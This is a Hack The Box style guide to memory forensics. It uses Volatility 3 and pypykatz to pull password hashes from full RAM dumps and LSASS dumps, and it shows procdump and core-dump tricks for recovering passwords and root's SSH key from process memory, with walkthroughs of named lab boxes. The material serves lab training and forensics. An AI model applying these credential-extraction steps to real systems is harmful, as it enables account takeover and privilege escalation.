Memory forensics with Volatility 3: RAM dumps, LSASS and core dumps

A memory dump is a snapshot of a machine's RAM (or of a single process) at a given moment. It holds everything the system had open: processes, connections, commands and, above all, credentials in clear text or as hashes. On Hack The Box they show up in two situations: you find a forgotten dump on a share, or you create one yourself from the process that holds the password you are after.

This guide covers both, with Volatility 3 for full dumps and pypykatz for LSASS.

The bare minimum

• Full dump: all of RAM. Typical extensions are .raw, .mem, .vmem (VMware), .dmp or MEMORY.DMP. Analyse it with Volatility or MemProcFS.
• Process dump (minidump): just one program's memory, such as lsass.DMP. Analyse it with pypykatz or strings.
• Linux core dump: what a program leaves behind when it crashes. Sometimes it holds a file the program had read with more privileges than you.
• Volatility 3 does not use version 2's "profiles": it identifies the system by itself and downloads the symbols it needs from Microsoft.

Requirements

pipx install volatility3
pipx install pypykatz
vol -h | head -3

• Internet access the first time you analyse a Windows dump, so Volatility can fetch the kernel symbols.
• Disk space: a dump is as big as the machine's RAM, several GB.
• To practise: Silo (full dump), Blackfield (LSASS dump) and Heist (dumping a process yourself).

Step 1: identify the system

vol -f memory.dmp windows.info

Variable        Value
Kernel Base     0xf8007828a000
Is64Bit         True
NtMajorVersion  6
NtMinorVersion  3
NtProductType   NtProductServer

If it answers with data, Volatility found the kernel and has symbols. 6.3 is Windows 8.1 or Server 2012 R2; 10.0 is Windows 10, 11 or Server 2016 onwards.

Step 2: processes, commands and connections

vol -f memory.dmp windows.pstree
vol -f memory.dmp windows.cmdline
vol -f memory.dmp windows.netscan

• pstree shows which process launched which. Watch for cmd.exe or powershell.exe hanging off odd parents.
• cmdline gives each process's command line: passwords passed as arguments, script paths.
• netscan lists connections, handy to see what the host was talking to.

windows.psscan also finds processes that had already exited or that hide from the normal list.

Step 3: hashes and secrets

vol -f memory.dmp windows.hashdump

User           rid   lmhash                            nthash
Administrator  500   aad3b435b51404eeaad3b435b51404ee  <NT hash>
Guest          501   aad3b435b51404eeaad3b435b51404ee  31d6cfe0d16ae931b73c59d7e0c089c0

Those are the local accounts' hashes, pulled from the SAM and SYSTEM hives that were in memory. The Administrator one works directly with pass-the-hash. That is what happens on Silo: the dump, downloaded from a Dropbox link you find on the box, holds the administrator's hash, and with it you get in over SMB.

Other plugins that yield credentials:

Step 4: an LSASS dump

LSASS is the Windows process that holds the credentials of open sessions. If you find a dump of it (lsass.DMP, lsass.zip), you do not need Volatility:

pypykatz lsa minidump lsass.DMP

== LogonSession ==
username svc_backup
domainname BLACKFIELD
        == MSV ==
                Username: svc_backup
                Domain: BLACKFIELD
                NT: <NT hash>

On Blackfield the forensic share has an lsass.zip with the hash of svc_backup, who can log in over WinRM and is in Backup Operators (see privileged Windows groups). If you can dump LSASS on a target yourself, the procedure is in Windows credential dumping.

Step 5: dump a process yourself

If a program holds a password in memory (a browser with a session, a password manager), dump just that process. On Windows, with Sysinternals procdump:

Get-Process firefox
.\procdump64.exe -accepteula -ma 6252 firefox.dmp

Download the .dmp and search it:

strings -n 8 firefox.dmp | grep -iE "password=|passwd=|login_password"

That is the way on Heist: an open Firefox keeps the website's login request, with the administrator's password, in memory.

On Keeper you are handed a KeePass dump. Because of CVE-2023-32784, KeePass 2.x left the typed master password in memory, character by character. Public tools such as keepass-password-dumper recover nearly all of it (the first character is missing and has to be guessed).

Step 6: Linux core dumps

On Linux, if a SUID or otherwise privileged program reads a file and then crashes, the core dump may hold that file. On Secret a SUID binary reads any file and then waits for an answer. While it waits, from another shell:

kill -BUS $(pidof count)
ls /var/crash/
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash
strings /tmp/crash/CoreDump | less

The CoreDump contains the file it read (root's SSH key, for example).

Common mistakes

• Unsatisfied requirement plugins.Info.kernel or symbol_table_name: Volatility cannot find symbols. It needs Internet the first time; offline, download the Windows symbol pack from the Volatility site and put it in volatility3/symbols/.
• A tutorial's commands do not work: it is Volatility 2 (imageinfo, --profile=Win7SP1x64, vol.py). In version 3 they are windows.info, windows.pslist, and so on, and there are no profiles.
• Linux symbol errors: Linux dumps need an ISF file for the exact kernel, built with dwarf2json. That is rare on HTB; on Linux you usually get core dumps.
• pypykatz does not understand the file: it is not a minidump (maybe it is a full dump). Use Volatility or MemProcFS.
• Downloading the dump takes forever: compress it on the target first (Compress-Archive or 7z) and pull it over SMB with Impacket (smbclient) instead of HTTP.
• strings does not find the password: much Windows text is UTF-16. Run it again with strings -e l.

What next

Use the hashes you pull as they are with pass-the-hash or crack them with hashcat and John. If what you have is a network capture rather than a dump, move on to analysing a pcap with Wireshark.